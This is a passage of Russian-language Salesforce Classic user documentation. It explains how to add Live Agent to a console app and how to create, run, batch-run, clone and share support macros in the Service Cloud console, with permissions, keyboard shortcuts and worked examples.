предназначенным для быстрого и эффективного обслуживания клиентов.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Щелкнитессылку«Правка»напротивименинужногоприложенияконсоли Salesforce.

3. Установите флажок «Добавить Live Agent в данное приложение».

4. Выберите записи или страницы, которые должны открываться в виде вложенных
вкладок рабочего пространства чата.

5. Еслиорганизацияподдерживает Salesforce Knowledge, установитефлажок «Добавить
предложенные статьи из Salesforce Knowledge в Live Agent» для
отображения виджета Knowledge One в рабочем пространстве чата.

6. Нажмите кнопку «Сохранить».

Одновременно пользователи могут выполнять несколько приложений Salesforce. Тем
не менее, если пользователь, вошедший в приложение консоли Salesforce, выполняет
вход в другое приложение Salesforce, то новые запросы на чат не могут быть приняты.

СМ. ТАКЖЕ:

Консоль Salesforce

Использование макросов на консоли обслуживания

Общие сведения о макросах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Агенты службы поддержки, использующие ленту обращений, могут запускать макросы
для быстрого автоматического выполнения повторяющихся задач (например, выбор
шаблона эл. почты, отправка сообщения эл. почты клиенту и обновление статуса
обращения). Макросы позволяют экономить рабочее время и гарантировать
согласованность действий, выполняемых агентами службы поддержки.

При необходимости создайте макросы для выполнения нескольких действий в ленте
обращений. Например, макрос может вставлять тему сообщения эл. почты и обновлять
статус обращения. Один макрос может одновременно выполнять несколько действий
в разных областях ленты обращений.

Прим.:  Macros are supported on feed-based standard and custom objects.
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Начало работы с макросами
Прежде чем начать создание и выполнение макросов, настройте среду «Консоль Salesforce for Service».

Советы по созданию макросов
Порядок создания и наименования макроса может влиять на его пригодность для агентов службы поддержки. Ниже
перечислены советы по созданию макросов.

Создание макросов
Пользователь может создать макрос путем определения инструкций для действий, выполняемых макросом. Макрос
напоминает небольшую компьютерную программу. Макросу должно быть задано каждое действие, подлежащее
выполнению. Данный пример определяет порядок создания простого макроса.

Выполнение макроса на консоли Salesforce for Service

Макросыпозволяютавтоматизироватьпоследовательностьповторяющихсянажатийклавиш, выполняемыхагентами
службы поддержки на консоли Salesforce for Service. Пользователи могут быстро выполнять повторяющиеся задачи
(например, обновление статуса обращения) путем выполнения макроса.

Клавиши быстрого доступа для макросов
Система позволяет использовать клавиши быстрого доступа для повышения эффективности работы с макросами.

СМ. ТАКЖЕ:

Общие сведения о макетах на основе ленты

Начало работы с макросами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Преждечемначатьсозданиеивыполнениемакросов, настройтесреду «Консоль Salesforce
for Service».

1. Включите функцию отслеживания лент для объекта.

2. Создайте макет страницы на основе ленты для поддерживаемого объекта. Макросы
поддерживаются стандартными и настраиваемыми объектами на основе ленты.

3. Добавьте нужные действия публикатора в макет страницы. Например, добавьте
действие «Эл. почта» в макет страницы обращений.

4. При необходимости создайте быстрое действие и добавьте его в макет страницы.

5. Добавьте обозреватель макросов как компонент консоли в макет страницы.

6. Убедитесь, что пользователям назначены полномочия для создания макросов или
выполнения макросов.

СМ. ТАКЖЕ:

Советы по созданию макросов

Создание макросов

Необратимые макросы
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Советы по созданию макросов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Порядок созданияинаименованиямакросаможет влиятьна егопригодностьдля агентов
службы поддержки. Ниже перечислены советы по созданию макросов.

1. Поле «Имя макроса» позволяет агентам службы поддержки выбирать нужный макрос для использования. Имя
используется агентами для поиска макросов, поэтому рекомендуем использовать короткие имена (для отображения
в списке макросов), которые точно определяют их цели.

2. Поле «Описание» является необязательным, но позволяет агентам службы поддержки определять содержимое
макроса.

3. Макроинструкциинапоминаютнебольшуюкомпьютернуюпрограмму, поэтомумакросудолжнобыть заданокаждое
действие (или инструкция), подлежащее выполнению. Каждая команда — аналог щелчка агента службы поддержки,
выполняемогоимприручномвыполнениизадачи. Перваяинструкцияопределяетобъект, обрабатываемыймакросом
(например, «Активная вкладка "Обращение"»).

4. Вторая инструкция определяет рабочий контекст или рабочий компонент консоли Salesforce for Service. Например,
контекст «Действие "Эл. почта"» позволяет макросу задавать поля и выполнять действия внутри публикатора «Эл.
почта».

Прим.: Макрос может быть создан только для включенного и настроенного компонента консоли Salesforce for
Service.

5. Третья инструкция определяет действие, выполняемое макросом. Например, макрос из моментального снимка выше
изменяет значение для поля «Адрес в поле "Копия"» в действии «Эл. почта» на активной вкладке «Обращение».

6. При необходимости добавьте дополнительный набор инструкций для выбранного или другого контекста. Простой
макрос выполняет всего одну задачу. Чтобы создать дополнительные сложные макросы, добавьте инструкции.
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Создание макросов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Пользователь может создать макрос путем определения инструкций для действий,
выполняемых макросом. Макрос напоминает небольшую компьютерную программу.
Макросу должно быть задано каждое действие, подлежащее выполнению. Данный
пример определяет порядок создания простого макроса.

Необходимые полномочия пользователя

«Чтение» для макросовДля просмотра макросов:

«Создание» и «Редактирование» для
макросов

Для создания и редактированиямакросов:

«Управлениемакросами, которыенемогут
быть отменены пользователями»

Для созданияи выполнениянеобратимых
макросов:

Пример макроса ниже может быть создан только после включения публикатора «Эл. почта» в организации.

1. Создайте макрос.

a. Щелкните виджет «Макросы» на консоли Salesforce for Service.

b. Щелкните ссылку «+ Создать макрос».

c. Заполните поле «Имя макроса» описательным именем.
Например, «Замена темы сообщения эл. почты на "Порядок сброса пароля"».

d. Заполнитеполе «Описание» цельюданногомакроса. Поле «Описание» являетсядополнительным, нопозволяет
агентам службы поддержки понимать цели макросов и различать макросы между собой.

2. Добавьте инструкции для макроса.

a. Выберите контекст для макроса. Контекст определяет область ленты обращений, используемую макросом.
Например, выберите «Выбрать: активная вкладка» для уведомления макроса о выполнении действия над
активной вкладкой «Обращение» в ленте обращений.

b. Щелкните ссылку «Готово». Щелкните ссылку «Готово» после каждой инструкции для перехода к следующей
строке.

c. Выберите объект, используемый макросом.
Например, выберите«Выбрать: действие "Эл. почта"»дляуведомлениямакросаонеобходимостивзаимодействия
с публикатором «Эл. почта» в ленте обращений.

d. Выберите действие для выполнения макросом.
Например, чтобызаменитьтемусообщенияэл. почтывобращении, выберите«Заменить: тема». Даннаяинструкция
уведомляетмакросонеобходимостиизмененияполя темыв сообщенииэл. почты. Кроме того, даннаяинструкция
отображает текстовое поле, позволяющее указать тему для замены.

e. Введите строку темы в текстовое поле. Данная инструкция удаляет исходную тему и заменяет ее значением,
указанным в макросе.
Например, заполните текстовое поле темой «Порядок сброса пароля». Исходное сообщение эл. почты клиента
могло содержать тему «Проблемы с паролем». Выполняемый агентом макрос автоматически заменяет исходную
тему новой темой.

f. Выберите «Отправить: действие» для уведомления макроса о необходимости выполнения данных инструкций.
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3. Сохраните макрос.
Созданный макрос заменяет строку исходной темы сообщения эл. почты в ленте обращений строкой новой темы.

Рекомендуемвыполнитьсозданныймакросдляпроверкинапригодность. Чтобыпротестироватьданныймакрос, откройте
консоль Salesforce for Service и выберите запись обращения. Откройте виджет «Макросы». Выберите и выполните данный
макрос.

Выполнение макроса на консоли Salesforce for Service

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Макросы позволяют автоматизировать последовательность повторяющихся нажатий
клавиш, выполняемых агентами службы поддержки на консоли Salesforce for Service.
Пользователимогут быстро выполнять повторяющиеся задачи (например, обновление
статуса обращения) путем выполнения макроса.

Необходимые полномочия пользователя

«Чтение» для макросовДля просмотра макросов:

«Создание» и «Редактирование» для
макросов

Для создания и редактированиямакросов:

«Управлениемакросами, которыенемогут
быть отменены пользователями»

Для созданияи выполнениянеобратимых
макросов:

Прим.: Полномочие «Управлениемакросами, которые не могут быть отмененыпользователями» требуется только
для выполнения макросов, содержащих инструкцию «Отправить: действие». Пакетный макрос содержит команду
«Отправить действие». Значок молнии ( ) указывает на выполнение действия (например, отправка сообщения эл.
почты), которое не может быть отменено.

1. Откройте виджет «Макросы».

2. Найдите и выберите нужный макрос в списке макросов.

Чтобы найти нужный макрос, введите буквы его имени в поле «Поиск по макросам». Система Salesforce возвращает
макросы, содержащие ключевые слова или буквы, которые использовались для поиска. При использовании пустого
поля «Поиск по макросам» система возвращает 25 недавно использованных макросов. Макрос считается недавно
использованным при условии его выполнения или просмотра соответствующей страницы сведений.

3. При необходимости проверьте описание и инструкции макроса.

Инструкцииотображаютдействия, выполняемыемакросом. Рекомендуемпроверятьинструкцииприпервоначальном
выполнении макроса.

4. Чтобы запустить макрос, щелкните «Выполнить» ( ).
Успешность выполнения макроса подтверждается отображающимся сообщением. Напротив каждой выполненной
инструкции отображается зеленая точка. Красная точка и сообщение об ошибке, отображаемые напротив каждой
невыполненной инструкции, позволяют быстро решить возникшую проблему.
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Необратимые макросы
Некоторыемакросывыполняютдействия, которыенемогутбытьотменены (например, отправкаисходящихсообщений
эл. почты клиентам или обновление статуса обращения). Макрос, содержащий инструкцию «Отправить: действие»,
являетсянеобратимым. Пользователимогут создавать, редактироватьи выполнятьмакросы, содержащиеинструкции
для выполнениянеобратимыхдействий, толькоприналичииполномочия «Управлениемакросами, которыенемогут
быть отменены пользователями».

Необратимые макросы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Некоторые макросы выполняют действия, которые не могут быть отменены (например,
отправкаисходящихсообщенийэл. почтыклиентамилиобновлениестатусаобращения).
Макрос, содержащий инструкцию «Отправить: действие», является необратимым.
Пользователи могут создавать, редактировать и выполнять макросы, содержащие
инструкции для выполнения необратимых действий, только при наличии полномочия
«Управление макросами, которые не могут быть отменены пользователями».

Значок молнии ( ) указывает на необратимый макрос.

Ниже перечислены действия, доступные при отсутствии полномочия «Управление
макросами, которые не могут быть отменены пользователями».

• Создание и редактирование макросов, которые не содержат инструкции для
выполнения необратимых действий

• Клонирование, удалениеисовместноеиспользованиемакросов, содержащихинструкциидлявыполнениянеобратимых
действий

Пример: Макросы, выполняющие следующие типы действий, считаются необратимыми:

• Отправка эл. почты

• Обновление статуса обращения

Клавиши быстрого доступа для макросов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Система позволяет использовать клавиши быстрого доступа для повышения
эффективности работы с макросами.

Табл. 47: Клавиши быстрого доступа для макросов

Значение:Клавиша:

Откройте виджет «Макросы».M

Установка курсора в поле поиска.S

Редактирование выбранного макроса.E

Просмотр страницы сведений о макросе.V

Выполнение выбранного макроса.Enter

Разворачивание или сворачивание
инструкций выбранного макроса.

Пробел

Прокручивание списка макросов вверх.Стрелка вверх
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Значение:Клавиша:

Прокручивание списка макросов вниз.Стрелка вниз

Пакетные макросы

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Пакетный макрос — это макрос, который может одновременно выполняться для
нескольких записей. Пакетные макросы позволяют агентам службы поддержки быстро
обрабатывать обращения клиентов, касающиеся одной проблемы. Макросы могут
выполняться как пакетные только при соответствии определенным критериям.

Пакетные макросы поддерживаются для:

• Публикатор «Эл. почта» ленты обращений на консоли Salesforce for Service

• Все быстрые действия, кроме социальных

Пакетные макросы не поддерживаются для:

• Действия Salesforce Knowledge

• Действия сообщества

• Действия сообщения социальной сети

• Инструкции «Добавить» и «Вставить» (например, инструкция «Добавить в: тема» или «Вставить в: текст HTML» для
публикатора «Эл. почта»)

При взаимодействии с публикатором «Эл. почта» пакетный макрос может содержать только одно действие публикатора
«Эл. почта».

Пакетный макрос должен содержать как минимум одну инструкцию «Отправить: действие».

Пример: Например, при получении службойподдержки компании большого количества обращений в результате
временногосбояагентамислужбыподдержкимогутотправлятьсясообщенияэл. почты, уведомляющиеобратившихся
клиентов о сроках решения данной проблемы. При необходимости создайте пакетный макрос, использующий
шаблон эл. почты для создания и отправки сообщения эл. почты данным клиентам.

Создание пакетного макроса
Данныйпример описывает порядок создания пакетногомакроса, отправляющего сообщение эл. почты контактному
лицу выбранных обращений.

Советы по созданию пакетных макросов
Успешностьиспользованияпакетныхмакросовопределяется выборомправильныхзаписейдляобработкимакросом.
Агенты службы поддержки могут фильтровать списковые представления для определения записей, подлежащих
выбору.

Выполнение пакетного макроса для нескольких записей
Пользователи могут выполнять пакетный макрос для одной записи или одновременно для нескольких записей.
Пакетные макросы можно использовать для быстрой обработки одинаковых обращений или записей клиентов.
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Создание пакетного макроса

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Данный пример описывает порядок создания пакетного макроса, отправляющего
сообщение эл. почты контактному лицу выбранных обращений.

Необходимые полномочия пользователя

«Чтение» для макросовДля просмотра макросов:

«Создание» и «Редактирование» для
макросов

Для создания и редактированиямакросов:

«Управлениемакросами, которыенемогут
быть отменены пользователями»

Для созданияи выполнениянеобратимых
макросов:

«Выполнение макросов для нескольких
записей»

Для выполнения пакетных макросов:

Например, при получении службой поддержки компании большого количества обращений в результате временного
сбоя агентами службы поддержки могут отправляться сообщения эл. почты, уведомляющие обратившихся клиентов о
сроках решения данной проблемы. При необходимости создайте пакетный макрос, использующийшаблон эл. почты
для создания и отправки сообщения эл. почты данным клиентам.

Данныедействияпозволяютсоздатьпакетныймакрос, отправляющийсообщениеэл. почтыконтактномулицувыбранных
обращений. Чтобы воссоздать данный пример в организации, включите публикатор «Эл. почта».

1. Создайте макрос.

2. Добавьте инструкции для макроса.

a. Выберите контекст для макроса. Контекст определяет объект, используемый макросом.
Например, выберите «Выбрать: активная вкладка» для уведомления макроса о выполнении действия над
активной вкладкой «Обращение» в ленте обращений.

b. Нажмите кнопку «Готово». Щелкните ссылку «Готово» после каждой инструкции для перехода к следующей
строке.

c. Выберите публикатор, используемый макросом.
Например, выберите«Выбрать: действие "Эл. почта"»дляуведомлениямакросаонеобходимостивзаимодействия
с публикатором «Эл. почта» в ленте обращений.

d. Выберите действие для выполнения макросом.
Например, выберите «Применить: шаблон эл. почты» и укажите шаблон эл. почты для использования.

e. Затем выберите «Отправить: действие» для уведомления макроса о необходимости выполнения данных
инструкций.

3. Сохраните макрос.
Созданный макрос выполняет создание и отправку сообщения эл. почты контактному лицу выбранных обращений.
Данный макрос может выполняться как пакетный ввиду его соответствия всем критериям пакетного макроса. Он
взаимодействует с публикатором «Эл. почта», использует поддерживаемую инструкцию и содержит инструкцию
«Отправить: действие». Данный макрос может одновременно выполняться как пакетный для нескольких записей.
Кроме того, данный макрос может выполняться для отдельной записи.

Припросмотреспискамакросовзначокзеленоймолниисдвойнымподчеркиванием ( ) отображаетсянапротивпакетных
макросов. Убедитесь, что данный значок отображается напротив нужного макроса.
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Советы по созданию пакетных макросов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Успешность использования пакетных макросов определяется выбором правильных
записей для обработки макросом. Агенты службы поддержки могут фильтровать
списковые представления для определения записей, подлежащих выбору.

При создании пакетного макроса рекомендуем добавить инструкцию, изменяющую
значениеполядля записи. Агентымогутфильтровать записивсписковомпредставлении
наоснове значенияполя. Обновлениезначенияполяпозволяет агентамотличать записи,
обработанные макросом, от обращений, которые не обрабатывались макросом.

Пример: Допустим, за короткоевремяклиентамиоткрываетсябольшоеколичество
обращений, касающихся одной проблемы. Агент службы поддержки может
выполнить пакетный макрос, отправляющий данным клиентам электронное
уведомление о том, что компания уже работает над решением данной проблемы.
Предположим, чтодвумяднямипозжеагентутребуетсявыполнитьпакетныймакрос
во второй раз для обработки новых обращений, касающихся той же проблемы.

Ввидуиспользованияфильтрациидля определенияобращений, которые должны
обрабатыватьсямакросом, рекомендуемдополнитьпакетныймакросинструкциями,
изменяющими значение поля. Данный алгоритм позволяет автоматически
обновлять значение поля при выполнении макроса. Данное поле сможет
использоваться агентом для последующейфильтрации новых обращений,
подлежащих обработке.

Выполнение пакетного макроса для нескольких записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Пользователи могут выполнять пакетный макрос для одной записи или одновременно
длянесколькихзаписей. Пакетныемакросыможноиспользоватьдлябыстройобработки
одинаковых обращений или записей клиентов.

Необходимые полномочия пользователя

«Чтение» для макросовДля просмотра макросов:

«Создание» и «Редактирование» для
макросов

Для создания и редактированиямакросов:

«Управлениемакросами, которыенемогут
быть отменены пользователями»

Для созданияи выполнениянеобратимых
макросов:

«Выполнение макросов для нескольких
записей»

Для выполнения пакетных макросов:

Прим.: Полномочие «Управлениемакросами, которые не могут быть отмененыпользователями» требуется только
для выполнения макросов, содержащих инструкцию «Отправить: действие». Пакетный макрос содержит команду
«Отправить действие». Значок молнии ( ) указывает на выполнение действия (например, отправка сообщения эл.
почты), которое не может быть отменено.

Пакетные макросы могут выполняться для записей объектов «Организации», «Обращения», «Контакты» и «Интересы».
Однако одновременно пакетный макрос может выполняться только для записей из спискового представления одного
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объекта. Например, пользователи не могут одновременно выполнять пакетный макрос для нескольких обращений из
спискового представления обращений и организаций (но могут из спискового представления обращений).

Значок зеленой молнии с двойным подчеркиванием ( ) указывает на пакетный макрос.

Пакетные макросы обрабатываются пакетами по 10 макросов за раз. Несмотря на возможность выполнения пакетного
макроса для более чем 10 обращений, система обрабатывает макрос группами по 10 обращений за раз.

1. Выберите нужные обращения в списковом представлении обращений.

Чтобы определить обращения, которые должны обрабатываться макросом, воспользуйтесь фильтрацией.

2. Откройте виджет «Макросы».

3. Выберите нужный макрос, затем щелкните значок зеленой молнии ( ) и нажмите «Выполнить».

4. Чтобы продолжить работу, нажмите кнопку «ОК» в окне подтверждения.
Данноедействиеинициирует выполнениемакроса для выбранныхобращений. Обращения, обработанныемакросом
успешно, выделяются в списковом представлении зеленым цветом и помечаются зеленой галочкой. Обращения,
обработанные макросом неправильно, выделяются красным цветом и помечаются красным значком «X». Чтобы
просмотреть причину неудачной обработки обращения, наведите указатель мыши на красный значок «X».

Примеры макросов

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Данные примеры описывают порядок создания разных типов макросов на основе
текущих бизнес-требований.

Добавление и замена значений полей обращения посредством макросов
Допустим, агенты службы поддержки часто добавляют одинаковые значения полей
в запись или часто заменяют значение поля. Система позволяет создать макрос,
которыйавтоматическизаполняетполеилизаменяет значениеполя. Использование
макроса экономит рабочее время агентов путем автоматизации повторяющихся и
рутинных действий, позволяющей агентам концентрировать свое внимание на
проблемах клиентов.

Вставка быстрого текста в сообщение социальной сети
Допустим, что агенты службы поддержки часто отвечают на вопросы клиентов в
социальныхсетях (например, Twitter или Facebook). Принеобходимостивоспользуйтесьмакросомдляпредоставления
агентам службыподдержки возможности автоматической вставки ответа в сообщение социальной сети посредством
быстрого или обычного текста. Данный тип макроса позволяет агентам быстро отвечать клиентам без отрыва от
выполнения основных рабочих задач.

Автоматическое добавление статьи Salesforce Knowledge в сообщение эл. почты в ленте обращений посредством
макросов
Возможно, агенты службы поддержки часто отправляют клиентам одну и ту же статью Salesforce Knowledge. Данный
пример определяет порядок создания макроса, который автоматически выбирает конкретную статью и дополняет
ею сообщение эл. почты в ленте обращений. Данный макрос позволяет агентам отвечать на типичные вопросы
клиентовпутемнажатия всего одной кнопки (вместопоисканужной статьии ее копирования в сообщение эл. почты).
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Добавление и замена значений полей обращения посредством макросов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра макросов:
• «Чтение» для макросов

Для создания и
редактирования макросов:
• «Создание» и

«Редактирование» для
макросов

Для создания необратимого
макроса:
• «Управлениемакросами,

которые не могут быть
отменены
пользователями»

Допустим, агенты службы поддержки часто добавляют одинаковые значения полей в
запись или часто заменяют значение поля. Система позволяет создать макрос, который
автоматически заполняет поле или заменяет значение поля. Использование макроса
экономит рабочее время агентов путем автоматизации повторяющихся и рутинных
действий, позволяющейагентамконцентрироватьсвоевниманиенапроблемахклиентов.

Организация должна поддерживать публикатор «Эл. почта».

Данныедействияописываютнекоторыеспособыиспользованияинструкцийдобавления,
замены и вставки в макросе.

1. Создайте макрос.

2. Добавьте инструкции для уведомления макроса о значении поля сообщения эл.
почты, подлежащем замене. Данный пример определяет порядок замены значения
в поле «Тема» сообщения эл. почты.

a. Щелкните ссылку «+ Добавить инструкцию» в разделе «Макроинструкции».

b. Первая инструкция уведомляет макрос об обрабатываемом объекте. Например,
выберите «Выбрать: активная вкладка "Обращение"».

c. Следующая инструкция уведомляет макрос о нужном действии в публикаторе
ленты обращений. Например, выберите «Выбрать: действие "Эл. почта"».

d. Следующая инструкция уведомляет макрос о нужном действии в действии «Эл.
почта». Выберите «Заменить: тема». Введите строку темы в текстовое поле.

Выбор инструкции замены инициирует удаление текущего значения поля и его
замену на значение, указанное в макросе.

Например, введите значение «Обновление заказа». Допустим, сообщениеэл. почты
содержало тему «Отсутствие моего заказа». В этом случае макрос удаляет
предыдущую тему и заменяет ее темой «Обновление заказа».

3. Добавьте инструкции для уведомления макроса о необходимости замены поля
сообщения эл. почты пустым значением. В данном примере мы удаляем значение
поля «СК».

a. Выберите «Заменить: адреса в поле "СК"». Оставьте текстовое поле пустым.

Выбор инструкции замены и использование пустого текстового поля инициируют очистку поля от значений.

4. Добавьте инструкции для уведомления макроса о необходимости вставки значений в поле. В данном примере мы
добавляем два адреса эл. почты в поле «Копия».

a. Выберите «Добавить: адресавполе "Копия"». Введите адреса эл. почты в текстовоеполе. Привводе нескольких
адресов эл. почты рекомендуем использовать запятые.

Выбор инструкции добавления или вставки инициирует заполнение поля значением, указанным в макросе, но
препятствует удалению текущих значений.

Например, введите shipping@example.com, invoices@example.com. Допустим, что поле «Копия» уже
содержит адрес support@example.com. Данный макрос вставляет адреса shipping@example.com и
invoices@example.com после адреса support@example.com.

5. Выберите «Отправить: действие». Данная инструкция уведомляет макрос о необходимости выполнения действия
«Эл. почта».
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6. Сохраните макрос.

Вставка быстрого текста в сообщение социальной сети

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра макросов:
• «Чтение» для макросов

Для создания и
редактирования макросов:
• «Создание» и

«Редактирование» для
макросов

Для создания необратимого
макроса:
• «Управлениемакросами,

которые не могут быть
отменены
пользователями»

Допустим, что агенты службы поддержки часто отвечают на вопросы клиентов в
социальныхсетях (например, Twitter или Facebook). Принеобходимостивоспользуйтесь
макросомдляпредоставленияагентамслужбыподдержкивозможностиавтоматической
вставки ответа в сообщение социальной сети посредством быстрого или обычного
текста. Данный типмакроса позволяет агентам быстро отвечать клиентам без отрыва от
выполнения основных рабочих задач.

Организация должнаподдерживать публикатор «Эл. почта», быстрый текст ифункцию
социального обслуживания клиентов.

Данныедействияописываютодинспособиспользованияинструкцийвставкивмакросе.

1. Создайте макрос.

2. Добавьте инструкции для уведомления макроса о необходимых действиях. Данный
примеропределяет порядок вставки быстрого текста в сообщение социальной сети.

a. Щелкните ссылку «+ Добавить инструкцию» в разделе «Макроинструкции».

b. Первая инструкция уведомляет макрос об обрабатываемом объекте. Например,
выберите «Выбрать: активная вкладка "Обращение"».

c. Следующая инструкция уведомляет макрос о нужном действии в публикаторе
ленты обращений. Например, выберите «Выбрать: социальное действие».

d. Следующая инструкция уведомляет макрос о нужном действии в социальном
действии. Выберите«Вставитьв: текст». Принеобходимостивставьте«Быстрый
текст» или «Текст».

Выбор инструкции вставки инициирует добавление быстрого или обычного
текста, указанного в макросе, в конец текста, который уже отображается полем.
При использовании действий социального публикатора инструкция вставки
позволяет сохранить @упоминание и добавить после него текст.

e. Выберитебыстрыйтекст, которыйдолжениспользоватьсямакросом, иливведите
нужный текст.

3. Выберите«Отправить: действие». Даннаяинструкцияуведомляетмакросонеобходимостивыполнениясоциального
действия.

4. Сохраните макрос.
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Автоматическое добавление статьи Salesforce Knowledge в сообщение эл. почты в ленте обращений
посредством макросов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензиями Service Cloud и
Salesforce Knowledge.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра макросов:
• «Чтение» для макросов

Для создания и
редактирования макросов:
• «Создание» и

«Редактирование» для
макросов

Возможно, агенты службы поддержки часто отправляют клиентам одну и ту же статью
Salesforce Knowledge. Данный пример определяет порядок создания макроса, который
автоматически выбирает конкретную статью и дополняет ею сообщение эл. почты в
ленте обращений. Данный макрос позволяет агентам отвечать на типичные вопросы
клиентов путем нажатия всего одной кнопки (вместо поиска нужной статьи и ее
копирования в сообщение эл. почты).

Организация должна использовать Salesforce Knowledge One. Компонент Salesforce
Knowledge One долженбытьвключенидобавленна страницуконсоли Salesforce for Service.

1. Создайте макрос.

2. Добавьтеинструкциидля уведомлениямакросаонеобходимостипоискаконкретной
статьи.

a. Щелкните ссылку «+ Добавить инструкцию» в разделе «Макроинструкции».

b. Перваяинструкцияуведомляетмакрособобрабатываемомобращении. Например,
выберите «Выбрать: активная вкладка "Обращение"».

c. Следующая инструкция уведомляет макрос об обрабатываемом компоненте
консоли. Например, выберите «Выбрать: компонент боковой панели базы
знаний».

d. Следующаяинструкцияуведомляетмакросонужномдействиинабоковойпанели
базы знаний. Выберите «Выбрать: поиск статей».

e. Данное действие определяет ключевое слово, используемое функцией поиска
дляпоисканужнойстатьи. Выберите «Задать: ключевыеслова». Введитеномер
статьи или ключевое слово в текстовое поле.

• Номер статьи. Номер статьи извлекает статью по номеру, позволяя быстро выбирать конкретную статью.
Номер статьи использует следующий синтаксис: номерстатьи:123456789.

Прим.: Синтаксис чувствителен к регистру и должен быть строчным.

• Ключевые слова. При необходимости выполните поиск по ключевым словам. Система Salesforce выполняет
поиск данных ключевых слов в заголовке и тексте статей базы знаний. Например, введите «Сброс пароля».

f. Выберите «Выполнить: поиск». Данная инструкция уведомляет макрос о необходимости выполнения поиска
при выполнении данного макроса.

3. Добавьтеинструкциидляуведомлениямакросаонеобходимостивставкистатьив сообщениеэл. почты, редактируемое
в ленте обращений.

a. Выберите «Выбрать: наиболее применимая статья». Данная инструкция уведомляет макрос о необходимости
использования статьи, отображающейся первой в результатах поиска.

b. Выберите «Вставить в: сообщение эл. почты как HTML». Данная инструкция вставляет всю статью, включая
текст и изображения, в сообщение эл. почты по месту отображения курсора.

4. Сохраните макрос.
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Управление макросами

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Система поддерживает удобное клонирование, совместное использование и удаление
макросов.

Клонирование макросов
Система позволяет быстро копировать макросы путем их клонирования.
Клонирование макросов позволяет создавать макросы, являющиеся вариантами
исходного макроса.

Предоставление общего доступа к макросам
Макросы используют модель общего доступа, применяемую другими объектами в
системе Salesforce. Общий доступ к макросам может быть предоставлен
общедоступным группам и другим пользователям для повышения эффективности
работы других агентов службы поддержки.

Удаление макросов
Система позволяет удалять ненужные макросы.

Клонирование макросов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Системапозволяетбыстрокопироватьмакросыпутемихклонирования. Клонирование
макросов позволяет создавать макросы, являющиеся вариантами исходного макроса.

Необходимые полномочия пользователя

«Чтение» для макросовДля просмотра макросов:

«Создание» и «Редактирование» для
макросов

Для клонирования макросов:

Администраторы и агенты службы поддержки могут клонировать макросы только при
наличии соответствующих полномочий пользователя.

1. Откройте виджет «Макросы».

2. Щелкните нужный макрос.

3. При использовании виджета «Макросы» щелкните значок «Просмотр сведений» ( ).

4. Нажмите кнопку «Клонировать».

5. Заполните поле «Имя макроса» уникальным именем макроса.

6. При необходимости измените инструкции для макроса. Кроме того, инструкции могут быть изменены позже.

7. Нажмите кнопку «Сохранить».
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Предоставление общего доступа к макросам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
лицензией Service Cloud.

Макросы используют модель общего доступа, применяемую другими объектами в
системе Salesforce. Общийдоступкмакросамможетбытьпредоставленобщедоступным
группамидругимпользователямдляповышенияэффективностиработыдругих агентов
службы поддержки.

Необходимые полномочия пользователя

«Чтение» для макросовДля просмотра макросов:

«Создание» и «Редактирование» для
макросов

Для предоставления общего доступа к
макросам:

1. Откройте виджет «Макросы».

2. Выберите нужный макрос.

3. Щелкните значок «Просмотр сведений» ( ).

4. Нажмите кнопку «Общий доступ».

5. Найдите общедоступную группу или пользователя по имени на странице «Создать общий доступ».

